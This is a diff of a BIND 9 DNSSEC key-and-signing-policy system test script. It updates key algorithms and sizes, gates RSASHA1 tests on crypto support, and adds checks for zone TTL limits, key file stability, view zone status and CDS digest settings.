 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 # shellcheck source=kasp.sh
@@ -81,13 +85,13 @@ set_zonesigning  "KEY2" "no"
 
 set_keyrole      "KEY3" "zsk"
 set_keylifetime  "KEY3" "2592000"
-set_keyalgorithm "KEY3" "8" "RSASHA256" "1024"
+set_keyalgorithm "KEY3" "8" "RSASHA256" "2048"
 set_keysigning   "KEY3" "no"
 set_zonesigning  "KEY3" "yes"
 
 set_keyrole      "KEY4" "zsk"
 set_keylifetime  "KEY4" "16070400"
-set_keyalgorithm "KEY4" "8" "RSASHA256" "2000"
+set_keyalgorithm "KEY4" "8" "RSASHA256" "3072"
 set_keysigning   "KEY4" "no"
 set_zonesigning  "KEY4" "yes"
 
@@ -159,7 +163,7 @@ cp "$STATE_FILE" "$CMP_FILE"
 $SETTIME -P +3600 "$BASE_FILE" > /dev/null || log_error "settime failed"
 grep "; Publish: " "$KEY_FILE" > /dev/null || log_error "mismatch published in $KEY_FILE"
 grep "Publish: " "$PRIVATE_FILE" > /dev/null || log_error "mismatch published in $PRIVATE_FILE"
-$DIFF "$CMP_FILE" "$STATE_FILE" || log_error "unexpected file change in $STATE_FILE"
+diff "$CMP_FILE" "$STATE_FILE" || log_error "unexpected file change in $STATE_FILE"
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
@@ -248,7 +252,14 @@ retry_quiet 30 _wait_for_done_apexnsec || ret=1
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-next_key_event_threshold=$((next_key_event_threshold+i))
+# Test max-zone-ttl rejects zones with too high TTL.
+n=$((n+1))
+echo_i "check that max-zone-ttl rejects zones with too high TTL ($n)"
+ret=0
+set_zone "max-zone-ttl.kasp"
+grep "loading from master file ${ZONE}.db failed: out of range" "ns3/named.run" > /dev/null || ret=1
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
 
 #
 # Zone: default.kasp.
@@ -291,6 +302,44 @@ check_apex
 check_subdomain
 dnssec_verify
 
+# Trigger a keymgr run. Make sure the key files are not touched if there are
+# no modifications to the key metadata.
+n=$((n+1))
+echo_i "make sure key files are untouched if metadata does not change ($n)"
+ret=0
+basefile=$(key_get KEY1 BASEFILE)
+privkey_stat=$(key_get KEY1 PRIVKEY_STAT)
+pubkey_stat=$(key_get KEY1 PUBKEY_STAT)
+state_stat=$(key_get KEY1 STATE_STAT)
+
+nextpart $DIR/named.run > /dev/null
+rndccmd 10.53.0.3 loadkeys "$ZONE" > /dev/null || log_error "rndc loadkeys zone ${ZONE} failed"
+wait_for_log 3 "keymgr: $ZONE done" $DIR/named.run
+privkey_stat2=$(key_stat "${basefile}.private")
+pubkey_stat2=$(key_stat "${basefile}.key")
+state_stat2=$(key_stat "${basefile}.state")
+test "$privkey_stat" = "$privkey_stat2" || log_error "wrong private key file stat (expected $privkey_stat got $privkey_stat2)"
+test "$pubkey_stat" = "$pubkey_stat2" || log_error "wrong public key file stat (expected $pubkey_stat got $pubkey_stat2)"
+test "$state_stat" = "$state_stat2" || log_error "wrong state file stat (expected $state_stat got $state_stat2)"
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "again ($n)"
+ret=0
+
+nextpart $DIR/named.run > /dev/null
+rndccmd 10.53.0.3 loadkeys "$ZONE" > /dev/null || log_error "rndc loadkeys zone ${ZONE} failed"
+wait_for_log 3 "keymgr: $ZONE done" $DIR/named.run
+privkey_stat2=$(key_stat "${basefile}.private")
+pubkey_stat2=$(key_stat "${basefile}.key")
+state_stat2=$(key_stat "${basefile}.state")
+test "$privkey_stat" = "$privkey_stat2" || log_error "wrong private key file stat (expected $privkey_stat got $privkey_stat2)"
+test "$pubkey_stat" = "$pubkey_stat2" || log_error "wrong public key file stat (expected $pubkey_stat got $pubkey_stat2)"
+test "$state_stat" = "$state_stat2" || log_error "wrong state file stat (expected $state_stat got $state_stat2)"
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 # Update zone.
 n=$((n+1))
 echo_i "modify unsigned zone file and check that new record is signed for zone ${ZONE} ($n)"
@@ -503,15 +552,23 @@ _wait_for_metadata() {
 
 n=$((n+1))
 echo_i "checkds publish correctly sets DSPublish for zone $ZONE ($n)"
-rndc_checkds "$SERVER" "$DIR" "-" "20190102121314" "published" "$ZONE"
-retry_quiet 3 _wait_for_metadata "DSPublish: 20190102121314" "${basefile}.state" || log_error "bad DSPublish in ${basefile}.state"
+now=$(date +%Y%m%d%H%M%S)
+rndc_checkds "$SERVER" "$DIR" "-" "$now" "published" "$ZONE"
+retry_quiet 3 _wait_for_metadata "DSPublish: $now" "${basefile}.state" || log_error "bad DSPublish in ${basefile}.state"
+# DS State should be forced into RUMOURED.
+set_keystate "KEY1" "STATE_DS"     "rumoured"
+check_keys
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
 n=$((n+1))
 echo_i "checkds withdraw correctly sets DSRemoved for zone $ZONE ($n)"
-rndc_checkds "$SERVER" "$DIR" "-" "20200102121314" "withdrawn" "$ZONE"
-retry_quiet 3 _wait_for_metadata "DSRemoved: 20200102121314" "${basefile}.state" || log_error "bad DSRemoved in ${basefile}.state"
+now=$(date +%Y%m%d%H%M%S)
+rndc_checkds "$SERVER" "$DIR" "-" "$now" "withdrawn" "$ZONE"
+retry_quiet 3 _wait_for_metadata "DSRemoved: $now" "${basefile}.state" || log_error "bad DSRemoved in ${basefile}.state"
+# DS State should be forced into UNRETENTIVE.
+set_keystate "KEY1" "STATE_DS"     "unretentive"
+check_keys
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
@@ -738,55 +795,58 @@ set_keytimes_algorithm_policy() {
 #
 # Zone: rsasha1.kasp.
 #
-set_zone "rsasha1.kasp"
-set_policy "rsasha1" "3" "1234"
-set_server "ns3" "10.53.0.3"
-# Key properties.
-key_clear        "KEY1"
-set_keyrole      "KEY1" "ksk"
-set_keylifetime  "KEY1" "315360000"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
-set_keysigning   "KEY1" "yes"
-set_zonesigning  "KEY1" "no"
+if $SHELL ../testcrypto.sh -q RSASHA1
+then
+	set_zone "rsasha1.kasp"
+	set_policy "rsasha1" "3" "1234"
+	set_server "ns3" "10.53.0.3"
+	# Key properties.
+	key_clear        "KEY1"
+	set_keyrole      "KEY1" "ksk"
+	set_keylifetime  "KEY1" "315360000"
+	set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+	set_keysigning   "KEY1" "yes"
+	set_zonesigning  "KEY1" "no"
 
-key_clear        "KEY2"
-set_keyrole      "KEY2" "zsk"
-set_keylifetime  "KEY2" "157680000"
-set_keyalgorithm "KEY2" "5" "RSASHA1" "2048"
-set_keysigning   "KEY2" "no"
-set_zonesigning  "KEY2" "yes"
+	key_clear        "KEY2"
+	set_keyrole      "KEY2" "zsk"
+	set_keylifetime  "KEY2" "157680000"
+	set_keyalgorithm "KEY2" "5" "RSASHA1" "2048"
+	set_keysigning   "KEY2" "no"
+	set_zonesigning  "KEY2" "yes"
 
-key_clear        "KEY3"
-set_keyrole      "KEY3" "zsk"
-set_keylifetime  "KEY3" "31536000"
-set_keyalgorithm "KEY3" "5" "RSASHA1" "2000"
-set_keysigning   "KEY3" "no"
-set_zonesigning  "KEY3" "yes"
+	key_clear        "KEY3"
+	set_keyrole      "KEY3" "zsk"
+	set_keylifetime  "KEY3" "31536000"
+	set_keyalgorithm "KEY3" "5" "RSASHA1" "2000"
+	set_keysigning   "KEY3" "no"
+	set_zonesigning  "KEY3" "yes"
 
-# KSK: DNSKEY, RRSIG (ksk) published. DS needs to wait.
-# ZSK: DNSKEY, RRSIG (zsk) published.
-set_keystate "KEY1" "GOAL"         "omnipresent"
-set_keystate "KEY1" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY1" "STATE_KRRSIG" "rumoured"
-set_keystate "KEY1" "STATE_DS"     "hidden"
+	# KSK: DNSKEY, RRSIG (ksk) published. DS needs to wait.
+	# ZSK: DNSKEY, RRSIG (zsk) published.
+	set_keystate "KEY1" "GOAL"         "omnipresent"
+	set_keystate "KEY1" "STATE_DNSKEY" "rumoured"
+	set_keystate "KEY1" "STATE_KRRSIG" "rumoured"
+	set_keystate "KEY1" "STATE_DS"     "hidden"
 
-set_keystate "KEY2" "GOAL"         "omnipresent"
-set_keystate "KEY2" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY2" "STATE_ZRRSIG" "rumoured"
+	set_keystate "KEY2" "GOAL"         "omnipresent"
+	set_keystate "KEY2" "STATE_DNSKEY" "rumoured"
+	set_keystate "KEY2" "STATE_ZRRSIG" "rumoured"
 
-set_keystate "KEY3" "GOAL"         "omnipresent"
-set_keystate "KEY3" "STATE_DNSKEY" "rumoured"
-set_keystate "KEY3" "STATE_ZRRSIG" "rumoured"
-# Three keys only.
-key_clear "KEY4"
+	set_keystate "KEY3" "GOAL"         "omnipresent"
+	set_keystate "KEY3" "STATE_DNSKEY" "rumoured"
+	set_keystate "KEY3" "STATE_ZRRSIG" "rumoured"
+	# Three keys only.
+	key_clear "KEY4"
 
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-set_keytimes_algorithm_policy
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
+	check_keys
+	check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+	set_keytimes_algorithm_policy
+	check_keytimes
+	check_apex
+	check_subdomain
+	dnssec_verify
+fi
 
 #
 # Zone: unsigned.kasp.
@@ -860,28 +920,28 @@ dnssec_verify
 # Zone: inherit.kasp.
 #
 set_zone "inherit.kasp"
-set_policy "rsasha1" "3" "1234"
+set_policy "rsasha256" "3" "1234"
 set_server "ns3" "10.53.0.3"
 
 # Key properties.
 key_clear        "KEY1"
 set_keyrole      "KEY1" "ksk"
 set_keylifetime  "KEY1" "315360000"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keysigning   "KEY1" "yes"
 set_zonesigning  "KEY1" "no"
 
 key_clear        "KEY2"
 set_keyrole      "KEY2" "zsk"
 set_keylifetime  "KEY2" "157680000"
-set_keyalgorithm "KEY2" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY2" "8" "RSASHA256" "2048"
 set_keysigning   "KEY2" "no"
 set_zonesigning  "KEY2" "yes"
 
 key_clear        "KEY3"
 set_keyrole      "KEY3" "zsk"
 set_keylifetime  "KEY3" "31536000"
-set_keyalgorithm "KEY3" "5" "RSASHA1" "2000"
+set_keyalgorithm "KEY3" "8" "RSASHA256" "3072"
 set_keysigning   "KEY3" "no"
 set_zonesigning  "KEY3" "yes"
 # KSK: DNSKEY, RRSIG (ksk) published. DS needs to wait.
@@ -913,7 +973,7 @@ dnssec_verify
 # Zone: dnssec-keygen.kasp.
 #
 set_zone "dnssec-keygen.kasp"
-set_policy "rsasha1" "3" "1234"
+set_policy "rsasha256" "3" "1234"
 set_server "ns3" "10.53.0.3"
 # Key properties, timings and states same as above.
 
@@ -929,7 +989,7 @@ dnssec_verify
 # Zone: some-keys.kasp.
 #
 set_zone "some-keys.kasp"
-set_policy "rsasha1" "3" "1234"
+set_policy "rsasha256" "3" "1234"
 set_server "ns3" "10.53.0.3"
 # Key properties, timings and states same as above.
 
@@ -947,7 +1007,7 @@ dnssec_verify
 # There are more pregenerated keys than needed, hence the number of keys is
 # six, not three.
 set_zone "pregenerated.kasp"
-set_policy "rsasha1" "6" "1234"
+set_policy "rsasha256" "6" "1234"
 set_server "ns3" "10.53.0.3"
 # Key properties, timings and states same as above.
 
@@ -964,7 +1024,7 @@ dnssec_verify
 #
 # There are three keys in rumoured state.
 set_zone "rumoured.kasp"
-set_policy "rsasha1" "3" "1234"
+set_policy "rsasha256" "3" "1234"
 set_server "ns3" "10.53.0.3"
 # Key properties, timings and states same as above.
 
@@ -990,7 +1050,7 @@ dnssec_verify
 # Zone: secondary.kasp.
 #
 set_zone "secondary.kasp"
-set_policy "rsasha1" "3" "1234"
+set_policy "rsasha256" "3" "1234"
 set_server "ns3" "10.53.0.3"
 # Key properties, timings and states same as above.
 
@@ -1034,22 +1094,25 @@ status=$((status+ret))
 #
 # Zone: rsasha1-nsec3.kasp.
 #
-set_zone "rsasha1-nsec3.kasp"
-set_policy "rsasha1-nsec3" "3" "1234"
-set_server "ns3" "10.53.0.3"
-# Key properties.
-set_keyalgorithm "KEY1" "7" "NSEC3RSASHA1" "2048"
-set_keyalgorithm "KEY2" "7" "NSEC3RSASHA1" "2048"
-set_keyalgorithm "KEY3" "7" "NSEC3RSASHA1" "2000"
-# Key timings and states same as above.
+if $SHELL ../testcrypto.sh -q RSASHA1
+then
+	set_zone "rsasha1-nsec3.kasp"
+	set_policy "rsasha1-nsec3" "3" "1234"
+	set_server "ns3" "10.53.0.3"
+	# Key properties.
+	set_keyalgorithm "KEY1" "7" "NSEC3RSASHA1" "2048"
+	set_keyalgorithm "KEY2" "7" "NSEC3RSASHA1" "2048"
+	set_keyalgorithm "KEY3" "7" "NSEC3RSASHA1" "2000"
+	# Key timings and states same as above.
 
-check_keys
-check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
-set_keytimes_algorithm_policy
-check_keytimes
-check_apex
-check_subdomain
-dnssec_verify
+	check_keys
+	check_dnssecstatus "$SERVER" "$POLICY" "$ZONE"
+	set_keytimes_algorithm_policy
+	check_keytimes
+	check_apex
+	check_subdomain
+	dnssec_verify
+fi
 
 #
 # Zone: rsasha256.kasp.
@@ -1060,7 +1123,7 @@ set_server "ns3" "10.53.0.3"
 # Key properties.
 set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keyalgorithm "KEY2" "8" "RSASHA256" "2048"
-set_keyalgorithm "KEY3" "8" "RSASHA256" "2000"
+set_keyalgorithm "KEY3" "8" "RSASHA256" "3072"
 # Key timings and states same as above.
 
 check_keys
@@ -1080,7 +1143,7 @@ set_server "ns3" "10.53.0.3"
 # Key properties.
 set_keyalgorithm "KEY1" "10" "RSASHA512" "2048"
 set_keyalgorithm "KEY2" "10" "RSASHA512" "2048"
-set_keyalgorithm "KEY3" "10" "RSASHA512" "2000"
+set_keyalgorithm "KEY3" "10" "RSASHA512" "3072"
 # Key timings and states same as above.
 
 check_keys
@@ -1320,9 +1383,10 @@ check_rrsig_reuse() {
 		dig_with_opts "$ZONE" "@${SERVER}" "$_qtype" > "dig.out.$DIR.test$n" || log_error "dig ${ZONE} ${_qtype} failed"
 		grep "status: NOERROR" "dig.out.$DIR.test$n" > /dev/null || log_error "mismatch status in DNS response"
 		grep "${ZONE}\..*IN.*RRSIG.*${_qtype}.*${ZONE}" "dig.out.$DIR.test$n" > "rrsig.out.$ZONE.$_qtype" || log_error "missing RRSIG (${_qtype}) record in response"
-		# If this exact RRSIG is also in the zone file it is not refreshed.
+		# If this exact RRSIG is also in the signed zone file it is not refreshed.
 		_rrsig=$(awk '{print $5, $6, $7, $8, $9, $10, $11, $12, $13, $14;}' < "rrsig.out.$ZONE.$_qtype")
-		grep "${_rrsig}" "${DIR}/${ZONE}.db" > /dev/null || log_error "RRSIG (${_qtype}) not reused in zone ${ZONE}"
+		$CHECKZONE -f raw -F text -s full -o zone.out.${ZONE}.test$n "${ZONE}" "${DIR}/${ZONE}.db.signed" > /dev/null
+		grep "${_rrsig}" zone.out.${ZONE}.test$n > /dev/null || log_error "RRSIG (${_qtype}) not reused in zone ${ZONE}"
 		test "$ret" -eq 0 || echo_i "failed"
 		status=$((status+ret))
 	done
@@ -1340,8 +1404,10 @@ check_rrsig_reuse() {
 			dig_with_opts "${_label}.${ZONE}" "@${SERVER}" "$_qtype" > "dig.out.$DIR.test$n" || log_error "dig ${_label}.${ZONE} ${_qtype} failed"
 			grep "status: NOERROR" "dig.out.$DIR.test$n" > /dev/null || log_error "mismatch status in DNS response"
 			grep "${ZONE}\..*IN.*RRSIG.*${_qtype}.*${ZONE}" "dig.out.$DIR.test$n" > "rrsig.out.$ZONE.$_qtype" || log_error "missing RRSIG (${_qtype}) record in response"
+			# If this exact RRSIG is also in the signed zone file it is not refreshed.
 			_rrsig=$(awk '{print $5, $6, $7, $8, $9, $10, $11, $12, $13, $14;}' < "rrsig.out.$ZONE.$_qtype")
-			grep "${_rrsig}" "${DIR}/${ZONE}.db" > /dev/null || log_error "RRSIG (${_qtype}) not reused in zone ${ZONE}"
+			$CHECKZONE -f raw -F text -s full -o zone.out.${ZONE}.test$n "${ZONE}" "${DIR}/${ZONE}.db.signed" > /dev/null
+			grep "${_rrsig}" zone.out.${ZONE}.test$n > /dev/null || log_error "RRSIG (${_qtype}) not reused in zone ${ZONE}"
 			test "$ret" -eq 0 || echo_i "failed"
 			status=$((status+ret))
 		done
@@ -1480,14 +1546,14 @@ set_server "ns3" "10.53.0.3"
 key_clear        "KEY1"
 set_keyrole      "KEY1" "ksk"
 set_keylifetime  "KEY1" "16070400"
-set_keyalgorithm "KEY1" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY1" "8" "RSASHA256" "2048"
 set_keysigning   "KEY1" "yes"
 set_zonesigning  "KEY1" "no"
 
 key_clear        "KEY2"
 set_keyrole      "KEY2" "zsk"
 set_keylifetime  "KEY2" "16070400"
-set_keyalgorithm "KEY2" "5" "RSASHA1" "2048"
+set_keyalgorithm "KEY2" "8" "RSASHA256" "2048"
 set_keysigning   "KEY2" "no"
 set_zonesigning  "KEY2" "yes"
 # KSK: DNSKEY, RRSIG (ksk) published. DS needs to wait.
@@ -1829,9 +1895,10 @@ check_apex
 check_subdomain
 dnssec_verify
 
+# Test with views.
 set_zone "example.net"
 set_server "ns4" "10.53.0.4"
-TSIG="hmac-sha1:keyforview1:$VIEW1"
+TSIG="$DEFAULT_HMAC:keyforview1:$VIEW1"
 wait_for_nsec
 check_keys
 check_dnssecstatus "$SERVER" "$POLICY" "$ZONE" "example1"
@@ -1839,8 +1906,16 @@ set_keytimes_csk_policy
 check_keytimes
 check_apex
 dnssec_verify
+# check zonestatus
 n=$((n+1))
+echo_i "check $ZONE (view example1) zonestatus ($n)"
+ret=0
+check_isdynamic "$SERVER" "$ZONE" "example1" || log_error "zone not dynamic"
+check_inlinesigning "$SERVER" "$ZONE" "example1" && log_error "inline-signing enabled, expected disabled"
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
 # check subdomain
+n=$((n+1))
 echo_i "check TXT example.net (view example1) rrset is signed correctly ($n)"
 ret=0
 dig_with_opts "view.${ZONE}" "@${SERVER}" TXT > "dig.out.$DIR.test$n.txt" || log_error "dig view.${ZONE} TXT failed"
@@ -1850,14 +1925,22 @@ check_signatures TXT "dig.out.$DIR.test$n.txt" "ZSK"
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-TSIG="hmac-sha1:keyforview2:$VIEW2"
+TSIG="$DEFAULT_HMAC:keyforview2:$VIEW2"
 wait_for_nsec
 check_keys
 check_dnssecstatus "$SERVER" "$POLICY" "$ZONE" "example2"
 check_apex
 dnssec_verify
+# check zonestatus
 n=$((n+1))
+echo_i "check $ZONE (view example2) zonestatus ($n)"
+ret=0
+check_isdynamic "$SERVER" "$ZONE" "example2" && log_error "zone dynamic, but not expected"
+check_inlinesigning "$SERVER" "$ZONE" "example2" || log_error "inline-signing disabled, expected enabled"
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
 # check subdomain
+n=$((n+1))
 echo_i "check TXT example.net (view example2) rrset is signed correctly ($n)"
 ret=0
 dig_with_opts "view.${ZONE}" "@${SERVER}" TXT > "dig.out.$DIR.test$n.txt" || log_error "dig view.${ZONE} TXT failed"
@@ -1867,6 +1950,31 @@ check_signatures TXT "dig.out.$DIR.test$n.txt" "ZSK"
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+TSIG="$DEFAULT_HMAC:keyforview3:$VIEW3"
+wait_for_nsec
+check_keys
+check_dnssecstatus "$SERVER" "$POLICY" "$ZONE" "example3"
+check_apex
+dnssec_verify
+# check zonestatus
+n=$((n+1))
+echo_i "check $ZONE (view example3) zonestatus ($n)"
+ret=0
+check_isdynamic "$SERVER" "$ZONE" "example3" && log_error "zone dynamic, but not expected"
+check_inlinesigning "$SERVER" "$ZONE" "example3" || log_error "inline-signing disabled, expected enabled"
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+# check subdomain
+n=$((n+1))
+echo_i "check TXT example.net (view example3) rrset is signed correctly ($n)"
+ret=0
+dig_with_opts "view.${ZONE}" "@${SERVER}" TXT > "dig.out.$DIR.test$n.txt" || log_error "dig view.${ZONE} TXT failed"
+grep "status: NOERROR" "dig.out.$DIR.test$n.txt" > /dev/null || log_error "mismatch status in DNS response"
+grep "view.${ZONE}\..*${DEFAULT_TTL}.*IN.*TXT.*view2" "dig.out.$DIR.test$n.txt" > /dev/null || log_error "missing view.${ZONE} TXT record in response"
+check_signatures TXT "dig.out.$DIR.test$n.txt" "ZSK"
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 # Clear TSIG.
 TSIG=""
 
@@ -2004,7 +2112,7 @@ dnssec_verify
 # Schedule KSK rollover now.
 set_policy "manual-rollover" "3" "3600"
 set_keystate "KEY1" "GOAL" "hidden"
-# This key was activated one day agao, so lifetime is set to 1d plus
+# This key was activated one day ago, so lifetime is set to 1d plus
 # prepublication duration (7500 seconds) = 93900 seconds.
 set_keylifetime  "KEY1" "93900"
 created=$(key_get KEY1 CREATED)
@@ -2031,7 +2139,7 @@ dnssec_verify
 # Schedule ZSK rollover now.
 set_policy "manual-rollover" "4" "3600"
 set_keystate "KEY2" "GOAL" "hidden"
-# This key was activated one day agao, so lifetime is set to 1d plus
+# This key was activated one day ago, so lifetime is set to 1d plus
 # prepublication duration (7500 seconds) = 93900 seconds.
 set_keylifetime  "KEY2" "93900"
 created=$(key_get KEY2 CREATED)
@@ -2058,7 +2166,7 @@ dnssec_verify
 n=$((n+1))
 echo_i "check that rndc dnssec -rollover fails if key is inactive ($n)"
 ret=0
-rndccmd "$SERVER" dnssec -rollover -key $(key_get KEY4 ID) "$ZONE" > rndc.dnssec.rollover.out.$ZONE.$n
+rndccmd "$SERVER" dnssec -rollover -key $(key_get KEY4 ID) "$ZONE" > rndc.dnssec.rollover.out.$ZONE.$n || ret=1
 grep "key is not actively signing" rndc.dnssec.rollover.out.$ZONE.$n > /dev/null || log_error "bad error message"
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -2545,6 +2653,7 @@ IretZSK=867600
 #
 set_zone "step1.ksk-doubleksk.autosign"
 set_policy "ksk-doubleksk" "2" "7200"
+CDNSKEY="no"
 set_server "ns3" "10.53.0.3"
 # Key properties.
 key_clear        "KEY1"
@@ -2594,6 +2703,7 @@ check_next_key_event 5086800
 #
 set_zone "step2.ksk-doubleksk.autosign"
 set_policy "ksk-doubleksk" "3" "7200"
+CDNSKEY="no"
 set_server "ns3" "10.53.0.3"
 # New KSK (KEY3) is prepublished (and signs DNSKEY RRset).
 key_clear        "KEY3"
@@ -2645,6 +2755,7 @@ check_next_key_event 97200
 #
 set_zone "step3.ksk-doubleksk.autosign"
 set_policy "ksk-doubleksk" "3" "7200"
+CDNSKEY="no"
 set_server "ns3" "10.53.0.3"
 
 # The DNSKEY RRset has become omnipresent.
@@ -2695,6 +2806,7 @@ check_next_key_event 180000
 #
 set_zone "step4.ksk-doubleksk.autosign"
 set_policy "ksk-doubleksk" "3" "7200"
+CDNSKEY="no"
 set_server "ns3" "10.53.0.3"
 # KSK (KEY1) DNSKEY can be removed.
 set_keysigning "KEY1" "no"
@@ -2736,6 +2848,7 @@ check_next_key_event 10800
 #
 set_zone "step5.ksk-doubleksk.autosign"
 set_policy "ksk-doubleksk" "3" "7200"
+CDNSKEY="no"
 set_server "ns3" "10.53.0.3"
 # KSK (KEY1) DNSKEY is now HIDDEN.
 set_keystate "KEY1" "STATE_DNSKEY" "hidden"
@@ -2774,6 +2887,7 @@ check_next_key_event 4899600
 #
 set_zone "step6.ksk-doubleksk.autosign"
 set_policy "ksk-doubleksk" "2" "7200"
+CDNSKEY="no"
 set_server "ns3" "10.53.0.3"
 # KSK (KEY1) DNSKEY is purged.
 key_clear "KEY1"
@@ -2815,6 +2929,8 @@ csk_rollover_predecessor_keytimes() {
 #
 set_zone "step1.csk-roll.autosign"
 set_policy "csk-roll" "1" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # Key properties.
 key_clear        "KEY1"
@@ -2855,6 +2971,8 @@ check_next_key_event 16059600
 #
 set_zone "step2.csk-roll.autosign"
 set_policy "csk-roll" "2" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # New CSK (KEY2) is prepublished (signs DNSKEY RRset, but not yet other RRsets).
 key_clear        "KEY2"
@@ -2904,6 +3022,8 @@ check_next_key_event 10800
 #
 set_zone "step3.csk-roll.autosign"
 set_policy "csk-roll" "2" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # Swap zone signing role.
 set_zonesigning  "KEY1" "no"
@@ -2965,6 +3085,8 @@ check_next_key_event 14400
 #
 set_zone "step4.csk-roll.autosign"
 set_policy "csk-roll" "2" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) is no longer signing the DNSKEY RRset.
 set_keysigning "KEY1" "no"
@@ -3006,6 +3128,8 @@ check_next_key_event 7200
 #
 set_zone "step5.csk-roll.autosign"
 set_policy "csk-roll" "2" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) KRRSIG records are now all hidden.
 set_keystate "KEY1" "STATE_KRRSIG" "hidden"
@@ -3043,6 +3167,8 @@ check_next_key_event 2235600
 #
 set_zone "step6.csk-roll.autosign"
 set_policy "csk-roll" "2" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) ZRRSIG records are now all hidden (so the DNSKEY can
 # be removed).
@@ -3082,6 +3208,8 @@ check_next_key_event 7200
 #
 set_zone "step7.csk-roll.autosign"
 set_policy "csk-roll" "2" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) is now completely HIDDEN.
 set_keystate "KEY1" "STATE_DNSKEY" "hidden"
@@ -3120,6 +3248,8 @@ check_next_key_event 13795200
 #
 set_zone "step8.csk-roll.autosign"
 set_policy "csk-roll" "1" "3600"
+CDS_SHA256="no"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) is purged.
 key_clear "KEY1"
@@ -3152,6 +3282,7 @@ IretCSK=$IretKSK
 #
 set_zone "step1.csk-roll2.autosign"
 set_policy "csk-roll2" "1" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # Key properties.
 key_clear        "KEY1"
@@ -3193,6 +3324,7 @@ check_next_key_event 16059600
 #
 set_zone "step2.csk-roll2.autosign"
 set_policy "csk-roll2" "2" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # New CSK (KEY2) is prepublished (signs DNSKEY RRset, but not yet other RRsets).
 key_clear        "KEY2"
@@ -3241,6 +3373,7 @@ check_next_key_event 10800
 #
 set_zone "step3.csk-roll2.autosign"
 set_policy "csk-roll2" "2" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # CSK (KEY1) can be removed, so move to UNRETENTIVE.
 set_zonesigning  "KEY1" "no"
@@ -3307,6 +3440,7 @@ check_next_key_event $next_time
 #
 set_zone "step4.csk-roll2.autosign"
 set_policy "csk-roll2" "2" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) ZRRSIG is now HIDDEN.
 set_keystate "KEY1" "STATE_ZRRSIG" "hidden"
@@ -3348,6 +3482,7 @@ check_next_key_event 475200
 #
 set_zone "step5.csk-roll2.autosign"
 set_policy "csk-roll2" "2" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) DNSKEY can be removed.
 set_keysigning   "KEY1" "no"
@@ -3388,6 +3523,7 @@ check_next_key_event 7200
 #
 set_zone "step6.csk-roll2.autosign"
 set_policy "csk-roll2" "2" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) is now completely HIDDEN.
 set_keystate "KEY1" "STATE_DNSKEY" "hidden"
@@ -3425,6 +3561,7 @@ check_next_key_event 15440400
 #
 set_zone "step7.csk-roll2.autosign"
 set_policy "csk-roll2" "2" "3600"
+CDS_SHA384="yes"
 set_server "ns3" "10.53.0.3"
 # The old CSK (KEY1) could have been purged, but purge-keys is disabled.
 
@@ -3438,10 +3575,109 @@ dnssec_verify
 #
 # Test #2375: Scheduled rollovers are happening faster than they can finish
 #
-set_zone "step1.three-is-a-crowd.kasp"
-set_policy "default" "1" "3600"
+set_zone "three-is-a-crowd.kasp"
+set_policy "ksk-doubleksk" "3" "7200"
